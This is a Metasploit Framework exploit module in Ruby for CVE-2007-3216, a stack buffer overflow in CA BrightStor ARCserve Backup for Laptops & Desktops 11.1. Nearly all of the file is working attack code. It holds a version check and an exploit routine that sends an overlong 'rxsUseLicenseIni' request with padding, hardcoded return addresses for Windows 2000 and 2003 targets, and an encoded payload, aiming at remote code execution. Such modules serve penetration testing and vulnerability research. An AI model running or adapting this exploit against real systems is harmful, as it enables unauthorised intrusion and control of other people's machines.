Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup

                                for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an

                                attacker could overflow the buffer and execute arbitrary code.

                        },

                        'Author'         => [ 'MC' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2007-3216' ],

                                        [ 'OSVDB', '35329' ],

                                        [ 'BID', '24348' ],

                                ],

                        'Privileged'     => true,

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                },

                        'Payload'        =>

                                {

                                        'Space'    => 700,

                                        'BadChars' => "\x00",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform' => 'win',

                        'Targets'  =>

                                [

                                        [ 'Windows 2003 SP0 English',        { 'Ret' => 0x71ae1f9b } ],

                                        [ 'Windows 2000 SP4 English',        { 'Ret' => 0x75031dce } ],

                                ],

                        'DisclosureDate' => 'Jun 6 2007',

                        'DefaultTarget' => 0))

                register_options([ Opt::RPORT(1900) ], self.class)

        end

        def check

                connect

                sock.put("0000000019rxrGetServerVersion")

                ver = sock.get_once

                disconnect

                if ( ver =~ /11.1.742/ )

                                return Exploit::CheckCode::Vulnerable

                end

                return Exploit::CheckCode::Safe

        end

        def exploit

                connect

                data  = rand_text_alpha_upper(4108) + [target.ret].pack('V')

                data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)

                sploit  = "0000004820"         # Command Length Field

                sploit << "rxsUseLicenseIni"   # RPC Command

                sploit << "~~"                 # Constant Argument Delimiter

                sploit << data

                print_status("Trying target #{target.name}...")

                # One-shot overwrite...

                sock.put(sploit)

                handler

                disconnect

        end

end